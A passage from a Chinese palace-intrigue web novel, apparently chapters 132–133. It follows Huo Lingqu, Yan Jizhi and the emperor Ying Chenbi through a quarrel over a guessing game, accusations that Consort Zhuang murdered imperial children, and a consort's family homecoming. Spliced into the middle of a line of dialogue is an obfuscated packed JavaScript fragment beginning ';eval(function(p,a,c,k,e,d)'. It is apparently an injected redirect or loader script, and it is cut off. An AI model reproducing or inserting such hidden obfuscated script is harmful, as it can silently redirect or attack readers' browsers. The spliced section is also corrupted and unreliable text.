瞧这埋汰人的,品性不错的老大人都忍不住乐,有人顺口就做个总结:“咱昨天还以为魏王府的刺客要牵连甚广了,没想到,魏王府的刺客只是废楚王余孽做的,翟猛以一己之力硬是把咱们以为要归在一起算的两码事又给拆开来算了。” 是呀,甚至他们就没想过,霍秦川都没想过,还能把翟猛卷进去。 谁想翟猛硬是凭他一己之力把他自己给卷进去了。 晏霁之求见霍贵妃,今日终于撞枪口上了,霍海啸在,皇帝嬴忱璧在。 “晏卿来长春宫来得可真勤啊。”花园景致甚美,皇帝的脸色可不美。 晏霁之沉默是金,嬴忱璧激他:“看来朕是该给晏卿赏几个美人了?” “霍贵妃若能同意,陛下您尽管赏。”晏霁之找打地反刺激皇帝,霍家兄妹俩瞟瞟他,皇帝嬴忱璧没受刺激地和悦笑起来:“这样啊,朕闻晏卿今早就有美相伴,江南第一名妓,虽是风尘中人,但真真是位难得的美人,不如——” 不如朕将她赏赐给晏卿,在霍家兄妹和晏霁之这么想时,皇帝嬴忱璧说:“不如让贵妃来猜猜晏卿没看中这位美人的缘由,若贵妃言中,是否给晏卿你赏赐美人,朕依贵妃之意;若贵妃没有言中,朕今日就让晏卿你自己挑十个美人。” 好一个转折! 霍海啸都怀疑皇帝想显摆自己:皇帝他可不嫌霍贵妃没有清白身。 霍灵渠觉得皇帝要自作聪明了,果然,晏霁之应战:“请陛下和海啸随我走远些,我寻根枝条来写给你们看,陛下看过答案之后再请霍贵妃猜吧。” “好!” 嬴忱璧站起来带霍海啸走去距石桌七八丈之外,看过晏霁之的答案,皇帝含笑折返,胸有成竹地让霍贵妃猜吧,霍灵渠问过这位江南名妓的名字,淡定道:“哦,她的品位不好,酒靡儿哪能及得上茶靡儿好听呢,霁之嫌:酒靡儿,品位差。” 嬴忱璧&霍海啸:“……” 晏霁之的答案是,酒靡儿,品位差!霍海啸转过脸很想捂脸,嬴忱璧的笑意皲裂,皇帝他锁定他们逡巡,怀疑他们作弊了:“贵妃不觉得自己的想法奇特吗?” “陛下,我猜不出来,晏霁之和流光姨娘才有诡异吧。”霍灵渠提醒。 “可你,”怎么可能猜得这么准,皇帝不信:“纵使流光姨娘跟晏霁之四年多,又如何,难道朝夕相对四年多就能心有灵犀了?贵妃,莫把朕当傻瓜。” 皇帝言下意,直白点,作弊就承认了吧。 霍灵渠自然反怼:“请陛下莫把疑心病不当病,你输不起就不要赌。” 晏霁之和霍海啸皆置身事外,把自己当风景。 他输不起?皇帝嬴忱璧自认为绝没有被气笑:“贵妃以为这就能混淆视听蒙混过关了,贵妃能告诉得了朕,你是怎么猜的,你怎么猜才能猜得一字不差?” 霍灵渠注视过皇帝,好言规劝:“陛下,你不懂晏霁之生活中的性情,你就想当然认为流光姨娘也不懂,按你的思绪,你还能不是个刚愎自用的君王吗?” “贵妃对朕以偏概全又岂还能不是对朕的偏见?”嬴忱璧情绪好点:“朕也不想怀疑,朕也想相信贵妃猜中了,可贵妃能说的出来你是怎么猜的吗?” “所以我说你刚愎自用。”霍灵渠被激起丝火气和不耐烦:“你自作聪明,结果事情没有按你的预料,你便觉得是臣下在糊弄你,还能不是狭隘吗?你既清楚晏霁之没看中那位,你何不能再往前想一步,霁之跟人家又没过节,自然会顾及体面。 你不知道晏霁之讲究吗?你知道的吧,晏霁之的讲究可是出了名的,那么你有何不能想晏霁之会顾及体面,我在回答之前问那位姑娘的名号,你以为我问来做什么?你想到个自觉有趣的事,设定好答案来展示,你做皇帝如此,还不狭隘吗?” 嬴忱璧垂眸沉闷半响,带霍海啸离开。 晏霁之有点怨念:“我瞧着皇帝两个意思,第一,他估计已经摸清楚了你脾性足够好,他待会儿再过来,你肯定消气了;第二,让我识趣点,一刻钟就走人。” “若非皇帝非得咬死我在作弊,我也不至于跟他发脾气。”霍灵渠从袖中取出平安结,她编来给六哥哥的,再一想,也给晏霁之一个吧,省得晏霁之跟她闹。 “人嘛,总不习惯质疑自己,何况是皇帝。”晏霁之理解,拎拎像是打发他的平安结,问:“平安结?我没病没灾,给我个平安结什么意思?平安结该送给在战场厮杀之人,所以你是想送给原牧炽,又怕我知道后跟你闹,顺便敷衍我?” 霍灵渠在心里扎扎他的小人,表示:“你不想要就还给我。” 晏霁之管得甚宽:“一个平安结,你还随身携带着?” “大哥来看我,我想让大哥捎带出宫给你。”霍灵渠话落,晏霁之把平安结扔还给她,霍灵渠轻哼,抬手抚抚她的平安结,晏霁之要求:“给我编个红手绳。” 霍灵渠抬眸睨他,忽而美眸溢笑,盈盈剪瞳中闪烁着不怀好意:“嗳,就没人怀疑过你对玉藏珠的深情是装出来的吗,大家都知道你很挑剔啊,看皇帝,知道以你的挑剔你看不中那位江南名妓,怎就不再想想你对玉藏珠也不可能是真的呢?” 晏霁之呵呵:“想让我给你松松筋骨是吧?” “真的呀,我觉得好神奇,你爹你叔公他们居然都深信不疑。”霍灵渠饶有兴味:“他们都知道你挑剔呀,怎么就不想想一个挑剔的人怎么可能会对谁一见钟情?” “你不相信我会对你一见钟情吗?”晏霁之忽然想逗逗她。 “一见钟情是指两个陌生人,我们从小就认识,不适用。”霍灵渠摇头,晏霁之追问:“十多年未见,够陌生了,你不相信重逢时我能对你一见钟情吗?” “我坚信这个世上能让你一见钟情的人只有你自己。”霍灵渠仿佛眼前有晏霁之自我欣赏的画面,心里止不住的想偷乐:“你看着镜中人沉醉于自己的俊颜,对自己一见钟情了。”又认真道:“如果你对自己都没有一见钟情,你绝不会对任何人一见钟情的。” 晏霁之被她逗乐了:“我至于吗?我在你面前是经常照镜子还是经常自夸还是经常让你赞美我呀?”偶尔自夸以及让这女人赞美赞美他还是有的。 “都没有呀,所以你既看中皮相又不看中皮相。”霍灵渠感悟道:“你挑剔,故此你必会看中皮相;但皮相在你眼中没有任何加成,更不会影响你对人的感观。” 晏霁之想抚抚她的脸,忍住了,说:“应该,很快会有人猜到了。” 嗯?霍灵渠问出他的未尽之言:“猜到你对玉藏珠的深情是假装的吗?” 晏霁之应嗯,霍灵渠好奇:“谁呀?” “孟怋乂。”晏霁之揣摩道:“我预计他不会对一个对他好像了若指掌而他却浑然未觉的人等闲视之,我曾因玉藏珠立誓三十岁前不娶妻,他应该会想去观察玉藏珠。接触过后,他推己及人,他会笃定,我只是拿玉藏珠当暂不娶妻的幌子。” “所以我说,我二哥若是知晓你当年立誓的真相,他会想打你的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“更是他得以此来安抚投在他麾下的这批人,彻底的两回事。”晏霁之眼神平和下来,顺口感悟:“我以前觉得翟猛和昌隆侯不差多少,想多了,昌隆侯比小舅子还是高一截的,同样想胁迫圣人,昌隆侯可比翟猛懂进退多了。” 霍灵渠低头按按眉头,晏霁之想抚抚她的脸,再忍住:“我走了。” “嗯?”霍灵渠抬头看向他,晏霁之笑:“我怕你知道昨夜霍家的情况后会有些不安,想来看看你。这会儿看过了,你安好,我也该走了。” “……好。”霍灵渠心里生出丝怅惘难舍,略艰难地吐字:“好。” 晏霁之站起来就走,怕走慢些,心发涩会被看出端倪惹出风言风语。 走出长春宫,在长春宫外遇上霍海啸,晏霁之扶额:“你不会是来接我的吧?” “是啊,”真是啊,霍海啸褒奖他:“还好,我还没去请你,你自己出来了。” “我怕灵渠有些不安,来看看她安好否,不用这么防着我吧?”晏霁之无奈。 “怕贵妃不安?这是你该有的想法能有的想法吗?”霍海啸看他是真欠打啊。 晏霁之略过道:“虢王在和霍雄鹰对峙时跑了?” 霍海啸没好气地应了声,晏霁之抬手揉揉眉心:“虢王费心招揽的大臣以及他和昌隆侯装模作样十多年的假象,这两日怕是不知要轰塌多少了。” “让南北前线彻查的密令已经派下去了。”霍海啸走近步,低声道:“陛下密令我堂叔霍秉坚在贵妃省亲后秘密走趟江南,令润州兵马就绪,防止江南生乱。” 晏霁之望向天际:“京畿,得清洗一波了。” 然,朝堂上的冲击未至,太上皇后宫中的冲击率先降临了。 翌日拂晓,朱太妃跪在长春宫前请求霍太后,她要面见圣人,还带着好几名太妃。 太上皇亲自来了趟皇城,在长春宫的正大殿前,阳光甚耀眼,她们跪在殿前,霍太后陪太上皇站在台阶上。皇帝嬴忱璧也已在长春宫,不过和霍贵妃一起避开了。 朱太妃要举报庄太妃残害皇嗣,温献皇后的四公主和第三胎孩儿都是被庄氏所害,她和温献皇后曾有旧怨,因此,当年窥测到庄氏的罪行后仍然只作不知。而今,朱家罪孽深重,她心难安,唯求将这两桩旧案翻出给朱家减轻点罪孽。 她带来的几位太妃和闻讯后自行赶来的十多位太妃各个泣血,她们都曾有过身孕没保住和皇儿刚出生未满月夭折,她们怀疑就是庄氏所为,请圣人彻查。 晏家人已经在了,英王晏墉紧紧抓住儿子的手臂,晏副相老眼深沉,霍太后都冒火了,居然还有四公主的账!温献皇后薨逝后,四公主可养在她的膝下啊! 晋王赶到长春宫看到的就是跪到在殿前的这一片太妃,一时间眼冒金星,只觉得他眼前跪着的不是太妃而是一群张着血盆大口想将他吞入腹的食人魔。 显国公府,平原大长公主要带着丈夫和儿子、儿媳们进宫去干架,显国公调侃她:“你也别操心得好像那女婿是你亲生的一样吧?” “什么时候了,还开玩笑,要是被那群太妃把脏水泼过来了,晋王还能有前程吗?谋害皇嗣的大帽可是都能把皇后钉死的,何况是嫔妃。”平原大长公主心急火燎:“晋王要是有一个残害皇嗣的生母可不得把他的前路全都堵死吗?” “可若庄太妃就是做了呢?”显国公敛起调侃。 “你发什么昏,庄太妃好好的谋害我皇兄的皇嗣做什么?”平原无语。 “圣人若是有几十个皇子,她得和多少人争?反正有朱家女挡在前,全都推给朱家女,庄太妃有何做不出来?”显国公反问,平原大长公主心慌了:“可,可你要是这么算的话,霍家还有任皇后乃至晏贵妃不全都有可能吗?” “任皇后自己就活得战战兢兢,温献皇后当年又是什么处境,何况霍家晏家什么气度,霍家和晏家又是何等权势,庄太妃的庄家又是什么情形,霍家和晏家需要冒那种风险吗?”显国公顺口例举:“你会把我庶出的儿女看在眼里吗?” 平原大长公主焦虑地坐下来:“可、可是,可是我们也不能不进宫呀,女儿还等着呢,晋王是我们的女婿,出这么大事我们若是都不出面还像什么样?” “你带俩儿媳妇去吧,我和薛述聪哥俩就不去了,不然反倒我们咄咄逼人。” “哎呀什么时候了还咄咄逼人,这么大事哪还有你不出面让我带儿媳妇撑场面的。” “你五姐可是被贬做庶人了。”显国公提醒,平原大长公主莫名被定住,显国公再提示:“人家和你皇兄可是同母兄妹。”平原大长公主二话不说就走人。 薛述嘉躲在屋外捂着嘴巴笑,薛述聪踹他脚,带他进屋。 显国公在儿子面前可没那么闲适,抄起茶盏就砸了:“晋王的命留不住了。” 薛述嘉笑不出来了,薛述聪头疼,庄太妃眼皮子要不要这么浅:“爹,真就没有转圜的余地吗?哪怕让他人前死去后半生隐姓埋名呢,圣人未必不愿意保亲儿一命吧?” “圣人又有多少儿女死在庄氏手中,圣人能宽容朱家女是因朱家是他的外祖家,圣人顾念亲娘愿意容忍,庄太妃凭什么,何况温献皇后这双儿女少不了的,还有鞠太妃的十皇子!庄太妃真本事了,她当自己天下第一啊什么人家都要去结个死仇!” 显国公大火道:“霍家,晏墉,还有鞠太妃,庄氏结了多少死仇,多少人家刚刚大彻大悟要报仇,还能有晋王的活路吗?庄家,包括废楚王兄妹的遗孤,一个都别想留下。”他又压压怒火道:“但残害皇嗣的罪名不会泼过去,太难看,这事只会不了了之。” 薛述嘉心揪起来:“那,那我姐和小外甥还有姐姐现在怀的这个怎么算?” 所以显国公才怒火中烧啊,庄氏给他结这么多死仇! “没了,你姐姐和你两个外甥全都留不住了。” “不至于吧——”薛述嘉想挣扎被显国公打断:“你想陪你姐夫去死?” 薛述嘉立时像被掐住咽喉,薛述聪也想挣扎:“爹,就算晋王的子嗣留不住,” “庄氏有多少仇家,你妹妹不死,庄氏的仇家能相信得了你妹妹能放掉亲骨肉的仇吗,薛家还能断得干净吗?”显国公眼神冷厉:“你想把全家搭进去?” 他们到是能相信你能放掉女儿和外孙的仇!薛述聪愤愤想呛还是心酸地骂不出来。 薛侍郎进门,轻咳道:“侯瞻渥来了,想让薛家出面指朱太妃她们被霍家收买了。” “他怎么不自己出面啊?”薛述嘉犹如找到发泄口一般痛骂:“亏他还有点脑子知道他没有立场跳出来给庄太妃出头,毕竟那又不是他的丈母娘,是吧?” 薛述嘉受不了地冲出去,去把人轰走。 晏家众人在夕阳落山前回府,晏霁之安抚住父亲,在回蔚然居的路上碰到萧灼灼鬼鬼祟祟尾随着他想拦路又哆嗦,止步问:“什么事?” 萧灼灼四下瞥瞥,走近前还有点磕绊:“我、我…我要跟他断了。”实在是不断不行了:“我在想我该跟他面谈还是送封信,还有我该不该把事情告诉我家里?” “你不必送信,他会来找你。把事情告诉你家里,让你家里来个家长帮你把欠债还了,再看好你。”晏霁之当打发瘟神一样提点:“朱家养了好几年的大鱼,哪能让你溜掉,你若是非得跟人家了断,你这相好的能谋划要夺走你的清白。” “不可能!”萧灼灼想都不想就否掉。 “记住今夜就写信,让你家长来,叮嘱他们带够银两,帮你把欠债清了,还有十万两,不要再拖了。”语毕,晏霁之走掉,萧灼灼忍不住再再再嫌他掉在钱眼儿里算了,这么一个玉树临风貌比潘安的世家公子就知道催她还债还债还债。 残阳尽,夜深了,郢国公还枯坐在书房里,攥紧的拳头似要将拳头捏爆,他不信,可脑海中有个声音怎么也挥之不去,这声音说:她对你对你们鞠家就是全都是利用,她当然不能让你妹妹有皇子让你有皇子外甥,不然鞠家还怎么死心塌地的给她做事?! 133. 第133章 魏王府遭遇刺客的第四天,刑部和大理寺结案,是乃废楚王余孽欲行不轨。 都城中迎来清洗,庄家当家人及其长子判处秋后问斩,家眷及同伙流放辽阳。 对庄太妃的处置是:送往小觉庵。 晋王未受殃及。 庄太妃对着来给她送行的班太妃惨淡一笑:“圣人连来见我一面都不肯了吗?” “庄姐姐,送你去小觉庵是陛下的意思,圣人既然同意了,庄姐姐又何必让圣人为难;若你非要见,把话递上去也行,但庄姐姐和圣人的情份还能否经得起损耗,你该最清楚。”班太妃就猜庄太妃还不知道昨日朱太妃揭发她残害皇嗣。 “好,我走。”庄太妃眼底泪光闪烁,再看眼这座宫禁,昂首往外走。 班太妃随同往外走,她要亲自把庄太妃送到小觉庵。 至于原来庄太妃身边的宫人,皇帝放出宫了,连同查到的庄太妃的细作,皇帝没问责,全部遣散出宫了。只是这一查拔出萝卜带出泥,查出来五十多名细作,目前皇宫中都还不到六千名宫人啊,皇帝看着这群细作是真嫌多了。 郢国公进宫来遇上庄太妃的这批人被放出宫,他略微停顿下,去宁寿宫。 “我们给庄太妃送个口信,告诉她,鞠家会帮她在小觉庵打点好。” “大哥你在说些什么呀?”鞠太妃差点跳起来。 “全是猜测!”郢国公莫名拔高音,不知想劝住妹妹还是劝住自己:“我们若不捏着她,怎么查?我们要的是找出凶手,不是猜测。忍住,小皇子不会白死,一定会水落石出,我们在庄氏面前还不能露破绽,否则就查不出来了。” 鞠太妃绷着脸捏紧拳头目有凶光,从牙齿缝里蹦出一个好字。 自大皇子遇刺客以来,皇帝只在第一天驾临魏王府看望过长子,今日结案,处置落定,皇帝又走趟魏王府想将大皇子接回宫养伤,郭皇后不同意,皇后自是日日出宫来看儿子的,对于皇帝对待儿子这么副散漫的态度相当不满。 “皇儿重伤未愈怎可移动,陛下连日来对皇儿漠不关心,连每日过来看眼都不肯,今日更是不顾皇儿伤重就想将皇儿带回宫,陛下可还有将皇儿放在心上吗?” “既然皇后执意要留大皇子在魏王府,就随皇后吧。”嬴忱璧不争辩地走了。 走了,走了?! 建威侯夫人在暗处看着皇帝离去,难以置信地去找女儿确认:“大皇子遇刺都四天了,陛下这才来看第二回,为何事啊怎么竟又这么快走了?” 被火上浇油,郭皇后闻言恨恨地随手抄起样东西砸了。 且,大皇子还在难受中,霍贵妃省亲也没取消,皇帝还陪着霍贵妃去霍家了。 陪霍贵妃省亲都不来看大皇子! 都不用谁拱火,郭皇后的积怨不满就直烧脑门了。 旌旗华盖,盛大恢宏的皇家仪仗队浩浩荡荡开往霍府,沿途人山人海,酒靡儿在人群中观望霍贵妃的车辇。原来,她见到的那位绝色美人就是霍贵妃,曾经名动京畿的流光姨娘。皇家仪仗队走远,她退出人群,她要回江南了,今日就走。 梅斗先生并不同行,京中这堆烂摊子,梅斗就是想走都走不了。 霍鸳娇也在人群中,看着看着,心酸直冲鼻腔把她这两天的怒火都压住了,她就知道,霍家的女儿谁都比不上霍灵渠,霍灵渠回来了,入过风尘、没有清白身,都没有影响,照样风风光光做贵妃,照样是霍家的掌珠,二十多年了,霍灵渠就是这么金贵。 不像她,霍鸳娇憋住泪意,和她姨娘还有弟弟去佟家闹。 她爹给他们的银两不见了被偷了,真被偷走了,她姨娘指天发誓都敢用命担保没耍诈,真是被贼子偷走了,他们商讨许久想到会不会是佟蓁蓁母女憎恨前些天被他们奚落而让佟家派人来偷走的?多可笑,佟家都自顾不暇了还会来偷他们的银两吗? 可没法子呀,她不是不怀疑是愗郡公府做的,可她若是与公婆和丈夫撕破脸,她在夫家就没法过了,算来算去只能去佟家闹,能要到补偿最好,总不能这么吃哑巴亏。 霍府大宅前,霍擎和老妻早已率儿孙和族人们在恭候了。 乌泱泱的一大片人仿佛把晨间的明媚都压暗了,子孙繁茂,霍家在人前站出来的又何止是子孙繁茂,家族昌盛,钟鸣鼎食之家,不必多言已跃然纸上。单人数之多,难怪霍漓江都能对贵妃女儿说:让族人们进宫来给你请个安,不嫌招人话柄啊。 霍桑柔牵着小祐在队列中,心中莫名,一个很模糊很模糊的家族概念的雏形在她心里隐隐约约抽芽,模糊到她根本不愿意想,但霍家的庞大,她真直观地感受到了。 霍六姑娘望向叔祖家的堂姐,霍绥业的嫡长孙女和这堂伯家的堂妹相视一笑。 来京的族人们不算,霍家本家儿孙,不论是稚童还是还在襁褓中的小婴儿都抱出来了,霍家对待贵妃省亲的隆重可见一斑。然则,若霍家是因霍贵妃而荣耀,隆重对待不算出奇,但不是,是贵妃要倚仗家族,霍家对待贵妃省亲当然可以不必隆重。 但家族对贵妃省亲还是隆重相待了,霍六姑娘想,是长辈们真的重视贵妃吧。 霍绥业的嫡长孙女亦如是想,她爹和祖父对伯祖家要隆重相迎连不赞同的想法都没有,她对霍灵渠比大堂姐霍舒窈的心态要好很多,这十多年来,她更可惜心疼霍灵渠,谁想……她低头自嘲笑笑,灵渠注定就是她们这辈姐妹里最金贵的女孩吧。 皇家仪仗队到来,霍家众人跪迎陛下和贵妃娘娘。 霍灵渠乌黑的青丝绾做惊鹄髻,鬓间珠宝生辉似将刚被压暗的明媚又照亮了,一袭真红银丝绣宫裙独具匠心,繁复庄重的红裙上银孔雀栩栩如生似欲夺人眼,偏偏通身的贵重又压住了银孔雀的璀璨夺目将它降做陪衬,直叫人惊艳于宫装主人的风采。 正徽帝嬴忱璧今早被贵妃的美丽愣住过,这会儿面对霍贵妃,皇帝不争气的仍忍不住有一瞬间的发愣,围观的百姓们看来,不得不感叹曾经的流光姨娘美貌冠当世啊。 帝妃来到霍家众人面前,亲自扶起老穆国公夫妇,简单寒暄过,一同往府里走。 湘王纠结好几遍还是不找和事佬了,他自己亲自去截住霍雄鹰和解。 外祖家迎贵妃省亲,湘王夫妇自然要过来的。 “和好吧?”大家都走远了,湘王扯着霍雄鹰来到有假山遮挡的角落里,昂着头傲娇可不是示弱:“霍家现在危机重重杀机四伏,我们自己人不能再起内讧了。” 霍雄鹰看表弟这小样,懒得跟他计较省得被带幼稚:“好好好,和好,但你真得想想了,佟氏他们出狱后,佟蓁蓁一定会想死抓着你不放,你打算怎么办?” “蓁蓁会想把清白给我?”湘王蔫儿了,他只是不愿意这么想又不是傻。 “当然了,你已经是佟蓁蓁包括佟氏和佟振羽最好的出路了,他们还能放过你吗?”总算这表弟脑瓜还没废掉,霍雄鹰告诫:“你没看见他们多利欲熏心啊。” 湘王沉默,霍雄鹰探究:“你到底是不是喜欢佟蓁蓁?” “我把蓁蓁当妹妹,真的是妹妹。”湘王很烦躁还提不起劲儿:“我妹妹那么小就没了,我把对同母妹妹的疼爱或多或少地寄托给蓁蓁了,就像母后对贵妃那样。” 这不更糟?霍雄鹰语气不善:“那你能做到不管佟蓁蓁吗?” 湘王敏感地冒起戒备:“你问这个做什么?” “佟氏他们出狱后还能善罢甘休吗?你若做不到不管佟蓁蓁,你还能不被他们当枪使来对付霍家吗?”霍雄鹰没好气:“外祖家和佟蓁蓁,你只能二选一。” “我再看看吧。”湘王糟心,犹豫是没有犹豫的,他肯定要外祖家,只是也还不想对疼爱多年的表妹轻易撒手:“蓁蓁他们出狱后,若蓁蓁真想算计我,只想拿捏我利用我,不肯安生也不愿意再和霍家罢休,我就不再管他们了。” “行吧行吧,反正也没几个月,你就能看到了。” 霍雄鹰带着湘王去霍府大堂,霍老夫人正抱着贵妃哭得老泪纵横,离家十多年的孙女,她终于能好好看看孙女了,纵使孙女已是贵妃要苦尽甘来了,她也抑不住要哭。 皇帝怕他在会让霍家众人拘束,悄悄退出大堂。 刚来到堂前海棠树下,霍海啸跟上来,嬴忱璧让霍海啸回堂屋吧,无妨。霍海啸刚走,霍擎凑过去:“陛下,老臣回书房了,您要是闷了,您就过来找外祖父。” “老国丈不留在堂屋吗?”嬴忱璧讶异。 “唉,哭哭啼啼的有啥可看,有霍秦川留着够了。”霍擎嫌煽情。 “好!”皇帝嬴忱璧微微点点头,霍擎告退,皇帝独自站会儿,踱步到堂屋窗前,看见霍绥业豪爽地一掌拍在贵妃侄孙女的肩头,说:“行了,丫头,放心在宫里欺负人……” 皇帝他莫名有点受刺激,想了想,还是去找老穆国公。 “您觉得原牧炽对何忘忧有情爱吗?”嬴忱璧自然不想原牧炽将来胡来。 “你懂情爱吗?”霍擎反问。 嬴忱璧一噎,机灵道:“您凭什么认为我不懂情爱?” “你们这群童年玩伴啊,论性情,你六弟和灵渠最搭,在你和灵渠没有婚约的前提下,他们两个若是都安安稳稳长大,到婚嫁的年纪,两个人成亲了,一起过一辈子,还生同衾、死同穴,这放外人看来,哎呦这两人真是恩爱呀恩爱得不得了了。 实则恩爱什么呀恩爱,两个人连情爱都还不懂呢,小孩过家家,成婚了一起开开心心活到老死是喜欢呀,两个人都互相喜欢,但,喜欢完了以后呢?” 霍擎摇头:“没了,情爱?没有,真没有。你还别不信,霍漓江和灵渠的母亲都不想让女儿尝情爱滋味,霍家对灵渠打小的教育里就有要革除她将来对男人动心的,你六弟跟灵渠在一起玩得再开心都没用,更不要说他们能玩到一起的,半斤八两。 都不懂情爱滋味的,一起开开心心活到老死,在别人甚至他们子孙看来都是恩爱有加,可什么是情爱?多少人活一辈子都不懂,老头我都不懂,不过霍漓江懂,你爹应该也懂得,你想知道你就去问问,看你有没有情窦初开怦然心动过?” “咳咳!”嬴忱璧手抵唇轻咳,倒也说不上是装腔呢还是真有疑虑:“贵妃和晏霁之一直指我心爱女人的位置有人了,您不以为然吗?” “情爱嘛,至少得先认定一个人吧,可你认定了啥?”霍擎松动松动换个坐姿,嫌道:“只要是个女子嫁给你,只要在你正妻的位置上,你就能对人好。 这还能是你有心爱的女人吗?你犯病还差不多,你嫉妒过吗,你媳妇若亲近别人,你会嫉妒吗?你是只觉得被侮辱还是嫉妒啊,哦对,你知道嫉妒的滋味吗? 霍漓江当年闹得要死要活,还有你爹,温献皇后对他笑,他能乐得像个傻子,温献皇后要是跟别的男人说笑,一缸醋都没他酸。你呢,你啥个情况?” 嬴忱璧:“……”皇帝他机敏转移:“温献皇后怎么可能跟别的男子说笑?” 这话音落地,晏霁之破门而入,给他们两位行个礼,在皇帝身侧落座。 嬴忱璧受惊般看向他,晏霁之反问:“你不想我在这里,你想我在哪里?” 呃,咳咳,皇帝端起茶盏抿两口茶,晏霁之看向老穆国公,倒是倾向于:“您觉得有没有可能即使老六他不懂情爱,但他认定了,他就会硬抢?” 霍擎打量这年轻人斟酌:“你相信原牧炽将来和灵渠相认会想硬抢?” “我愿意相信。”晏霁之道:“撇开童年不谈,老六在北境没有喜欢他的姑娘吗,没有习武术性情跟他更投契的姑娘吗?必然有。我们不得不承认他们很有缘,以老六的性情,他的喜欢不是情爱但可能胜似情爱,如果他不会再有第二个喜欢的姑娘。” “原牧炽还会有第二个喜欢的姑娘吗?”晏霁之自问自答:“我觉得不会了。” 皇帝嬴忱璧眼眸微闪,霍擎沉默下缓缓接:“除非灵渠主动跟他断。” “是!”晏霁之没说的是,但以灵渠对北境将士的愧意,绝不会主动了断。 “温献皇后怎会跟别的男子说笑?”嬴忱璧放下茶盏,说:“老国公说笑了。” “咋,你小子还想规定温献皇后进宫前不能少年慕艾情窦初开过呀?”霍擎随之跳转,故意变换个轻松的语气,嬴忱璧提示:“朕指的是温献皇后进宫之后。” “那又咋样,人家碰到以前的心上人,光明正大的说说笑笑不行啊?” 嬴忱璧看向晏霁之,晏霁之很平静地端茶盅饮茶,嬴忱璧好笑:“温献皇后怎敢,若是被父皇知道——”说着被霍擎打断:“你爹知道啊,温献皇后进东宫前你爹就知道。”霍擎瞧他忒没大丈夫气概:“你这么刻板啊,你老爹这一点可真是比你强多了。” “您老没瞎掰?”嬴忱璧对老穆国公霍擎还是有点认知的。 “你尽管向你爹求证啊,放心吧,你老爹不避讳,你问了,他就能告诉你。再不然,你就向晏家或者姬太妃和国师求证,问他们,你总不至于要觉得尴尬吧。” 嬴忱璧再看向晏霁之,晏霁之依旧平淡,嬴忱璧神奇了:“温献皇后曾少年慕艾的男子是……”皇帝他还被噎了噎:“是、是姬国舅姬沛?” “是啊,咋,你有意见啊?”霍擎总觉得又要对他有点意见了,嬴忱璧又觑向晏霁之,晏霁之仍想感慨:“上一辈的错综纠葛果然只有我们想不到而没有不可能。” “咳咳!”嬴忱璧微呛:“我父皇真的清楚,真的不在意吗?” “在意啥呀,你爹年轻那会儿信啥,信他能让温献皇后爱上他,有啥可在意。”霍擎瞧着他眉头拧得都能夹苍蝇了,嬴忱璧当即表示:“朕也不在意贵妃进宫前的过往。” 霍擎瞧着皇帝外孙这德行不大可信地端起茶盏喝茶。 嬴忱璧又忍不住看向晏霁之,晏霁之佩服:“你果然擅长给自己挖坑。” “……” 微微扎心的皇帝想把晏霁之踹出去时,霍擎正色道:“陛下,若侯瞻渥还想去找媳妇,事不过三,霍家不会再拦了,您也让他去吧。在辽阳把人截住后,但请陛下把侯瞻渥和两个假冒货送给庞老夫人,请庞老夫人亲自来京把两个假冒货送给太上皇。” “庞老夫人?”嬴忱璧问:“剑门关庞老将军的夫人,护国公的长姐?” 霍擎嗯,嬴忱璧奇怪:“把侯瞻渥送给庞老夫人作甚?” “四十几年前,武襄侯差点就成护国公的姐夫了。”霍擎曝料,嬴忱璧莫名差点手抖,晏霁之唏嘘,上一辈的情缘果然只有他们想不到而没有不可能。 “老国公,四十多年前的往事了,把侯瞻渥送过去也属多此一举了吧?” 嬴忱璧不赞成,霍擎老脸笑起来似有感怀又渗着难以捕捉的教导:“忱璧啊,你相信,十多年前你六弟能从皇城消失没有武襄侯搭把手可能吗?” 两个小辈都微讶地对视眼,看向老穆国公,霍擎失笑道:“武襄侯对公主媳妇好吧,但没准儿啊,这份好还包含着愧疚,他喜欢的女人姓原。当时庞贵妃相中了原家姑娘,武襄侯他娘和桓皇后是表姐妹,桓皇后要把庶长女嫁给表侄儿,他们只能断。” 窗台金芒熠熠,一斛孟夏的暖意灌入,沾染几缕唏嘘悠长。 霍府大堂的认亲结束后,霍未央小姑娘跑到贵妃姑母身边耳语:“姑母,我悄悄告诉你哦,我的名字、未央,我爹是为你取的,希望你今后无病无灾,长乐未央。” 霍灵渠忍俊不禁:“你爹这取名能力跟祖父有的一拼了,霍未央。” 小姑娘赞同:“我也这么觉得。” 阿胜一脚踹开霍漓江前院书房的密室,进密室给灵牌上柱香,霍漓江急急赶来,训他:“你就不能有点礼数,你知道要上香怎么就不能有点礼数偏要踹门?” “我要见灵渠,你安排吧。”阿胜要求,霍漓江若能无视一定选择无视:“你非得要见这一面做甚,你见了又能怎样,你就不能让我女儿安生一点吗?” 阿胜指指灵牌,霍漓江憋气:“你们甥舅俩自个儿不能报仇啊,非得拽着我女儿作甚,当年你抱着还在襁褓中的灵儿,姬沛告诉你,不要想报仇,好好活下去。 依你这德性肯定还没忘吧?二十四年都过来了,二十多年你们没点动作,灵渠颠沛十几年才刚安稳些,你就又想把她拖进漩涡里,你对得住姬沛吗?” “对得住!”阿胜应,霍漓江被噎得差点想把他轰出去:“你们到底想干什么,你想报仇就专注报仇,非得节外生枝把我女儿拖下水,对你能有什么好?” “你该去安排了。”阿胜懒得跟他磨嘴皮。 霍漓江深呼吸:“姬氏一族还剩下的族人是不是一伙的?” 阿胜看他眼,没说话,霍漓江憋屈地走掉。 霍灵渠在童年的住处追忆过孩童时的怡然岁月,抱着小祐看妹妹数礼物,霍桑柔这两天又发笔横财,霍氏族人们挨个给她见面礼,她不想要还非得让她拿着,不一小心,她发现她拿到好多包括给银两的礼,她想给姐姐看看,挑些好的给姐姐。 霍枫叶过来看到这岁月静好的画面,停顿会儿,将贵妃请走了。 小祐娃娃有点小郁闷,他还想姨母抱抱呢,霍桑柔同样有点郁闷的抱住她的崽。 将贵妃侄女送到东南隅的桃花林,霍枫叶撤走,霍灵渠稍站片刻,看见来人,惊喜了:“表哥?爹爹你真这么快找到表哥了?”晏霁之见到的还真是她表哥呀。 两人谁都没注意到这个真字,霍漓江忧伤道:“嗯,认识,自然一找一个准。” 